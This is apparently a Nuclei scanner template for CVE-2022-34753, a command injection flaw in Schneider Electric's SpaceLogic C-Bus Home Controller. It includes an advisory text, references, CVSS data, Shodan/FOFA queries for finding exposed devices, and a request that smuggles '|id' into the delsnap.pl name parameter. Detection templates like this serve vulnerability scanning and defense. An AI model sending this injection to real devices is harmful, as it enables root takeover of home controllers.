SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.
PoC代码[已公开]
id: CVE-2022-34753
info:
name: SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution
author: gy741
severity: high
description: |
SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
remediation: |
Upgrade SpaceLogic C-Bus Home Controller to a version higher than 1.31.460 to mitigate this vulnerability.
reference:
- https://www.zeroscience.mk/codes/SpaceLogic.txt
- https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf
- http://packetstormsecurity.com/files/167783/Schneider-Electric-SpaceLogic-C-Bus-Home-Controller-5200WHC2-Remote-Root.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-34753
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-34753
cwe-id: CWE-78
epss-score: 0.91845
epss-percentile: 0.99681
cpe: cpe:2.3:o:schneider-electric:spacelogic_c-bus_home_controller_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: schneider-electric
product: spacelogic_c-bus_home_controller_firmware
shodan-query:
- html:"SpaceLogic C-Bus"
- http.html:"spacelogic c-bus"
fofa-query: body="spacelogic c-bus"
tags: cve2022,cve,iot,spacelogic,rce,oast,packetstorm,schneider-electric
http:
- raw:
- |
GET /delsnap.pl?name=|id HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
matchers-condition: and
matchers:
- type: regex
regex:
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
- type: status
status:
- 200
# digest: 4a0a004730450220506666daf579aca0c4b278ca75dbf25592b1f7998bf5f40d617c6c1349628261022100b624972e8220ccb3f52254995a3714a136e5c12fdbfcd8ec59d5de51cde4b46b:922c64590222798bb761d5b6d8e72950